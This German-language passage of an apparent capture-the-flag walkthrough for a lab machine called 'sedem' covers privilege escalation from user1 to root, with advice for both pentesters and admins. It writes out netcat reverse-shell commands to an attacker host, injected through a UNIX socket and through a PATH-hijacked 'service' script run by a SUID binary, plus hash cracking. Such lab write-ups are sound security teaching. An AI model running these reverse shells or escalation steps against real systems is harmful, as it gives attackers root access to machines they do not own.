Bewertung: Dies ist der nächste Vektor für die Privilegienausweitung. Das Skript `/home/user2/socket/code.py` muss untersucht werden. Es scheint mit Sockets zu arbeiten (basierend auf dem Pfad).
Empfehlung (Pentester): Analysieren Sie das Skript `/home/user2/socket/code.py`. Suchen Sie nach Möglichkeiten, Befehle einzuschleusen oder die Socket-Kommunikation auszunutzen. Prüfen Sie, ob das Skript einen UNIX-Socket erstellt oder sich mit einem verbindet.
Empfehlung (Admin): Überprüfen Sie die `sudo`-Regel für `user1`. Ist es notwendig, dass `user1` dieses Skript als `user2` ausführen kann? Wenn ja, stellen Sie sicher, dass das Skript sicher ist und keine Schwachstellen enthält.
Analyse: Die folgenden Befehle zeigen eine Methode, diese `sudo`-Regel über einen UNIX-Socket auszunutzen, der vermutlich von `code.py` erstellt oder verwendet wird.
user1@sedem:~$ echo 'nc 192.168.2.140 3333 -e "/bin/bash"' | socat - UNIX-CLIENT:/home/user2/socket/socket_test.s
listening on [any] 3333 ...
Analyse: 1. Auf der Angreifer-Maschine wird ein Netcat-Listener auf Port 3333 gestartet (`nc -lvvp 3333`). 2. Auf dem Zielsystem (`user1@sedem`) wird der Befehl `echo 'nc 192.168.2.140 3333 -e "/bin/bash"'` ausgeführt. Dieser gibt den String für eine Netcat-Reverse-Shell aus. 3. Die Ausgabe dieses `echo`-Befehls wird an `socat` weitergeleitet (`|`). 4. `socat - UNIX-CLIENT:/home/user2/socket/socket_test.s` nimmt die Standardeingabe (`-`) und sendet sie an einen UNIX-Domain-Socket unter dem Pfad `/home/user2/socket/socket_test.s`. Die Annahme ist, dass das Python-Skript `/home/user2/socket/code.py` (das als `user2` läuft) auf diesem UNIX-Socket lauscht, die empfangenen Daten (den Reverse-Shell-Befehl) entgegennimmt und ausführt.
Bewertung: Dies ist eine clevere Methode, die `sudo`-Regel auszunutzen, indem Daten über einen UNIX-Socket an den privilegierten Prozess (`code.py` als `user2`) gesendet werden, der diese dann ausführt. Der Erfolg hängt davon ab, dass `code.py` tatsächlich auf diesem Socket lauscht und die empfangenen Daten unsicher verarbeitet (z.B. direkt an `os.system` übergibt).
Empfehlung (Pentester): Stellen Sie sicher, dass der Listener läuft, bevor Sie den `socat`-Befehl ausführen. Überprüfen Sie den Listener auf eine eingehende Verbindung.
Empfehlung (Admin): Untersuchen Sie den Code von `/home/user2/socket/code.py` und beheben Sie die unsichere Verarbeitung von Daten, die über den UNIX-Socket empfangen werden. Überprüfen Sie die Notwendigkeit der `sudo`-Regel. Beschränken Sie die Berechtigungen für UNIX-Sockets, wenn möglich.
listening on [any] 3333 ...
connect to [192.168.2.140] from sedem.hmv [192.168.2.107] 42864
Analyse: Der Netcat-Listener des Angreifers zeigt die erfolgreiche eingehende Verbindung. Dies bestätigt, dass der Reverse-Shell-Befehl erfolgreich über den UNIX-Socket an den als `user2` laufenden Prozess gesendet und von diesem ausgeführt wurde.
Bewertung: **Erfolg!** Die Privilegien wurden von `user1` zu `user2` über die `sudo`-Regel und die Ausnutzung des UNIX-Sockets eskaliert.
Empfehlung (Pentester): Sie haben nun eine Shell als `user2`. Stabilisieren Sie diese und beginnen Sie die Enumeration als `user2`.
Empfehlung (Admin): Beheben Sie die Schwachstelle im Python-Skript und/oder die `sudo`-Regel.
Analyse: Als `user2` wird weiter nach Möglichkeiten zur Privilegienerweiterung oder nach Flags gesucht.
user2@sedem:~$ find / -name *.txt 2>/dev/null
/srv/ftp/user.txt /home/user3/TD.txt /home/user3/.privacy.txt
Analyse: Eine Suche nach `.txt`-Dateien im gesamten System wird durchgeführt. Es werden drei interessante Dateien gefunden: * `/srv/ftp/user.txt`: Könnte die User-Flag enthalten (oft in CTFs in ungewöhnlichen Orten platziert). * `/home/user3/TD.txt`: Eine Datei im Home-Verzeichnis von `user3`. * `/home/user3/.privacy.txt`: Eine versteckte Datei im Home-Verzeichnis von `user3`, der Name klingt vielversprechend.
Bewertung: Gute Funde. Die Dateien in `/home/user3` deuten auf den nächsten Benutzer hin. `/srv/ftp/user.txt` sollte zuerst überprüft werden.
Empfehlung (Pentester): Lesen Sie den Inhalt aller drei Dateien.
Empfehlung (Admin): Speichern Sie sensible Informationen oder Flags nicht in einfach auffindbaren Textdateien. Beschränken Sie Berechtigungen, wo möglich.
user2@sedem:~$ cat /srv/ftp/user.txt
Hegumlam
Analyse: Der Inhalt von `/srv/ftp/user.txt` wird ausgelesen.
Bewertung: Dies ist die User-Flag: `Hegumlam`.
Empfehlung (Pentester): Dokumentieren Sie die User-Flag.
Empfehlung (Admin): Siehe vorherige Empfehlung zu Flags/sensiblen Dateien.
user2@sedem:~$ cat /home/user3/.privacy.txt
651d1fcb18b7da23658c394fe9acc05135054b262422b131fbabe4f9def2e396095403da0225a45369ee3cf2b3be0c3733b6bc7d899e4531ba5ce7dc47be67ee
Analyse: Der Inhalt von `/home/user3/.privacy.txt` wird angezeigt. Es handelt sich um einen langen hexadezimal aussehenden String.
Bewertung: Dies ist sehr wahrscheinlich ein Passwort-Hash. Die Länge und das Format könnten auf einen bestimmten Algorithmus hindeuten.
Empfehlung (Pentester): Kopieren Sie den Hash. Versuchen Sie, ihn mit Online-Diensten (wie Crackstation) oder Offline-Tools (wie Hashcat oder John the Ripper) zu identifizieren und zu cracken.
Empfehlung (Admin): Speichern Sie keine Passwort-Hashes in Klartextdateien. Verwenden Sie stattdessen Standard-Authentifizierungsmechanismen (/etc/shadow) mit starken Hashing-Algorithmen und Salt.
https://crackstation.net/ Hash Type Result 651d1fcb18b7da23658c394fe9acc05135054b262422b131fbabe4f9def2e396095403da0225a45369ee3cf2b3be0c3733b6bc7d899e4531ba5ce7dc47be67ee whirlpool nopassword
Analyse: Die Notiz zeigt, dass der Hash bei Crackstation eingereicht wurde. Crackstation identifizierte den Hash als Whirlpool und fand das entsprechende Klartextpasswort: `nopassword`.
Bewertung: **Ausgezeichnet!** Das Passwort für `user3` wurde erfolgreich aus dem Hash wiederhergestellt. Das Passwort selbst ist extrem schwach.
Empfehlung (Pentester): Versuchen Sie, sich mit `su user3` und dem Passwort `nopassword` anzumelden.
Empfehlung (Admin): Ändern Sie sofort das Passwort für `user3`. Erzwingen Sie Richtlinien für starke Passwörter. Überprüfen Sie, warum dieser Hash in einer Datei gespeichert wurde.
user2@sedem:~$ su user3
Password: nopassword user3@sedem:/home/user2$
Analyse: Der Wechsel zum Benutzer `user3` mit dem gecrackten Passwort `nopassword` ist erfolgreich. Der neue Prompt lautet `user3@sedem:/home/user2$`.
Bewertung: **Erfolg!** Die Privilegien wurden von `user2` zu `user3` eskaliert.
Empfehlung (Pentester): Beginnen Sie die Enumeration als `user3`. Suchen Sie nach `sudo`-Rechten, SUID-Dateien, Cronjobs etc., die zur Root-Eskalation führen könnten.
Empfehlung (Admin): Ändern Sie das Passwort von `user3` und setzen Sie Passwortrichtlinien durch.
Analyse: Als `user3` wird nun nach dem finalen Weg zu Root-Rechten gesucht.
user2@sedem:~$ find / -type f -perm -4000 -ls 2>/dev/null
133068 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 666652 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 667041 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 669558 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 655395 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 655399 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 658926 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 659253 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 658779 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 655396 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 659251 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 655398 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
Analyse: Es wird nach SUID-Dateien gesucht (`find / -type f -perm -4000 -ls 2>/dev/null`). SUID-Dateien werden immer mit den Rechten des Besitzers ausgeführt, unabhängig davon, wer sie startet. Wenn eine SUID-Datei `root` gehört, läuft sie als `root`. Die Liste zeigt viele Standard-SUID-Dateien (`sudo`, `passwd`, `su` etc.), die normalerweise sicher sind, wenn sie aktuell sind. Es gibt keine offensichtlich ungewöhnlichen oder veralteten SUID-Dateien in dieser Liste.
Bewertung: Die Standard-SUID-Dateien bieten auf den ersten Blick keinen einfachen Weg zur Eskalation (es sei denn, eine davon ist eine verwundbare Version, was hier nicht geprüft wird).
Empfehlung (Pentester): Obwohl hier keine einfache Ausnutzung ersichtlich ist, lohnt es sich immer, die Versionen der SUID-Programme zu prüfen und auf GTFOBins nach bekannten Exploits zu suchen. Untersuchen Sie andere Vektoren wie Cronjobs oder Dateiberechtigungen weiter.
Empfehlung (Admin): Reduzieren Sie die Anzahl der SUID-Binaries auf das absolute Minimum. Überprüfen Sie regelmäßig, ob benutzerdefinierte SUID-Dateien vorhanden sind.
user3@sedem:/home/user2$ cd /opt
user3@sedem:/opt$
user3@sedem:/opt$ ls -la
drwxr-x--- 2 root user3 4096 May 9 2021 .
drwxr-xr-x 18 root root 4096 May 9 2021 ..
-rwsr-sr-x 1 root root 16712 May 9 2021 check <-----
Analyse: Im Verzeichnis `/opt` wird eine Datei namens `check` gefunden. Die Berechtigungen `-rwsr-sr-x` sind sehr interessant: * `rws`: Das SUID-Bit ist gesetzt, der Besitzer ist `root`. Die Datei wird also als `root` ausgeführt. * `r-s`: Das SGID-Bit ist gesetzt, die Gruppe ist `root`. Die Datei wird auch mit der Gruppen-ID `root` ausgeführt. * `r-x`: Andere Benutzer (wie `user3`) haben Lese- und Ausführrechte. Das Verzeichnis `/opt` selbst (`drwxr-x---`) gehört `root` und der Gruppe `user3`, wobei `user3` Lese- und Ausführrechte für das Verzeichnis hat.
Bewertung: **Ein sehr vielversprechender Fund!** Eine SUID/SGID-Root-Datei in `/opt`, die von `user3` ausgeführt werden kann, ist ein klassischer Vektor für Privilegienausweitung. Das Verhalten dieser `check`-Datei muss analysiert werden.
Empfehlung (Pentester): Führen Sie `check` aus, um zu sehen, was es tut. Analysieren Sie die Datei mit `strings check` oder `ltrace check` / `strace check`, um herauszufinden, welche anderen Programme oder Dateien sie aufruft. Suchen Sie nach Möglichkeiten, das Verhalten von `check` zu beeinflussen, insbesondere wenn es andere Befehle ohne absoluten Pfad aufruft (PATH-Manipulation).
Empfehlung (Admin): Überprüfen Sie den Zweck und die Notwendigkeit dieser SUID/SGID-Datei. Wenn möglich, entfernen Sie die SUID/SGID-Bits (`chmod u-s,g-s /opt/check`) oder ersetzen Sie die Funktionalität durch eine sicherere Methode (z.B. spezifische `sudo`-Regel).
user3@sedem:/opt$ strings check
[...]
service apache2 status
[...]
Analyse: Der Befehl `strings check` extrahiert lesbare Zeichenketten aus der Binärdatei. Eine auffällige Zeichenkette ist `service apache2 status`. Dies deutet stark darauf hin, dass das `check`-Programm den Befehl `service` verwendet, um den Status des Apache-Dienstes zu überprüfen.
Bewertung: **Schlüsselinformation!** Wenn `check` (das als Root läuft) den Befehl `service` ohne absoluten Pfad aufruft (also nur `service` statt `/usr/sbin/service`), dann ist dies anfällig für PATH-Manipulation. Der Benutzer `user3` kann ein eigenes Verzeichnis erstellen, eine schädliche Datei namens `service` darin platzieren, dieses Verzeichnis an den Anfang der `PATH`-Umgebungsvariable setzen und dann `/opt/check` ausführen. Das `check`-Programm wird dann die schädliche `service`-Datei als Root ausführen.
Empfehlung (Pentester): Implementieren Sie den PATH-Hijacking-Angriff:
1. Erstellen Sie ein Skript in einem beschreibbaren Verzeichnis (z.B. `/tmp` oder Home von `user3`) namens `service`.
2. Machen Sie das Skript ausführbar (`chmod +x service`).
3. Fügen Sie Code in das Skript ein, der Root-Rechte ausnutzt (z.B. eine Reverse Shell, `/bin/bash` kopieren und SUID setzen).
4. Fügen Sie das Verzeichnis mit dem schädlichen Skript an den Anfang des `PATH` (`export PATH=/tmp:$PATH`).
5. Führen Sie `/opt/check` aus.
Empfehlung (Admin): Ändern Sie das `check`-Programm so, dass es absolute Pfade verwendet (z.B. `/usr/sbin/service apache2 status`). Entfernen Sie die SUID/SGID-Bits, wenn die Funktionalität anders realisiert werden kann.
Analyse: Die nächsten Schritte im Originaltext beschreiben genau diesen PATH-Hijacking-Angriff.
listening on [any] 1234 ...
Analyse: Ein Listener wird auf Port 1234 gestartet. (Hinweis: Im späteren Verlauf wird Port 5555 verwendet, es liegt wahrscheinlich ein Tippfehler vor. Ich gehe von Port 5555 aus.)
user3@sedem:/home/user1$ cd /tmp; echo 'nc 192.168.2.140 5555 -e "/bin/bash"' > service; chmod +x service
Analyse: Als `user3` wird ins `/tmp`-Verzeichnis gewechselt. Dort wird eine Datei namens `service` erstellt. Der Inhalt dieser Datei ist ein Befehl, der eine Netcat-Reverse-Shell zur Angreifer-IP `192.168.2.140` auf Port `5555` startet. Die Datei wird anschließend ausführbar gemacht (`chmod +x service`).
Bewertung: Das schädliche `service`-Skript ist vorbereitet.
user3@sedem:/tmp$ export PATH=/tmp:$PATH
Analyse: Das Verzeichnis `/tmp` wird an den Anfang der `PATH`-Umgebungsvariable gesetzt. Wenn nun ein Programm nach einem Befehl sucht (wie `check` nach `service`), wird zuerst in `/tmp` gesucht, bevor die Standard-Systempfade durchsucht werden.
Bewertung: Die Umgebung ist für den PATH-Hijacking vorbereitet.
Kurzbeschreibung: Das SUID/SGID-Root-Programm `/opt/check` ruft den Befehl `service` ohne absoluten Pfad auf, um den Status von Apache zu prüfen. Dies ermöglicht einem Angreifer (hier `user3`), die `PATH`-Umgebungsvariable zu manipulieren und eine eigene, schädliche ausführbare Datei namens `service` in einem Verzeichnis am Anfang des `PATH` (z.B. `/tmp`) zu platzieren. Wenn `/opt/check` ausgeführt wird, führt es die schädliche `service`-Datei mit Root-Rechten aus.
Voraussetzungen: Zugriff als `user3` (oder ein anderer Benutzer, der `/opt/check` ausführen kann), Schreibzugriff auf ein Verzeichnis (z.B. `/tmp`), SUID/SGID-Root-Binary `/opt/check`, das `service` ohne absoluten Pfad aufruft.
Schritt-für-Schritt-Anleitung: 1. Listener auf der Angreifer-Maschine starten (z.B. `nc -lvnp 5555`). 2. Auf dem Zielsystem als `user3`: `cd /tmp` 3. Auf dem Zielsystem: `echo 'nc 192.168.2.140 5555 -e "/bin/bash"' > service` 4. Auf dem Zielsystem: `chmod +x service` 5. Auf dem Zielsystem: `export PATH=/tmp:$PATH` 6. Auf dem Zielsystem: `/opt/check` ausführen.
Erwartetes Ergebnis: Das `/opt/check`-Programm führt `/tmp/service` als Root aus. `/tmp/service` startet eine Reverse Shell zum Listener des Angreifers. Der Angreifer erhält eine Root-Shell.
user3@sedem:/tmp$ /opt/check
Analyse: Der `user3` führt nun `/opt/check` aus. Da `/tmp` im `PATH` vorne steht, findet das Programm die schädliche `/tmp/service`-Datei und führt sie als Root aus. Diese startet die Netcat-Reverse-Shell zum Angreifer.
Bewertung: Dies ist der Auslöser des Exploits.
listening on [any] 5555 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.138] 33868 id uid=0(root) gid=0(root) groups=0(root),1002(user3) cd /root # ls root.txt # cat root.txt Thicolgim
Analyse: Der Netcat-Listener des Angreifers empfängt die Verbindung. Der Angreifer führt `id` aus, was `uid=0(root)` bestätigt – Root-Zugriff wurde erlangt! Anschließend wechselt der Angreifer ins `/root`-Verzeichnis, listet den Inhalt auf und liest die Root-Flag aus `root.txt`.
Bewertung: **Fantastisch, Root-Zugriff erreicht!** Der PATH-Hijacking-Angriff war erfolgreich. Die Root-Flag lautet `Thicolgim`.
Empfehlung (Pentester): Ziel erreicht. Bericht abschließen.
Empfehlung (Admin): Beheben Sie die PATH-Hijacking-Schwachstelle in `/opt/check`, indem Sie absolute Pfade verwenden oder die SUID/SGID-Bits entfernen. Überprüfen Sie das System auf weitere Instanzen unsicherer Pfadverwendung in privilegierten Skripten oder Programmen.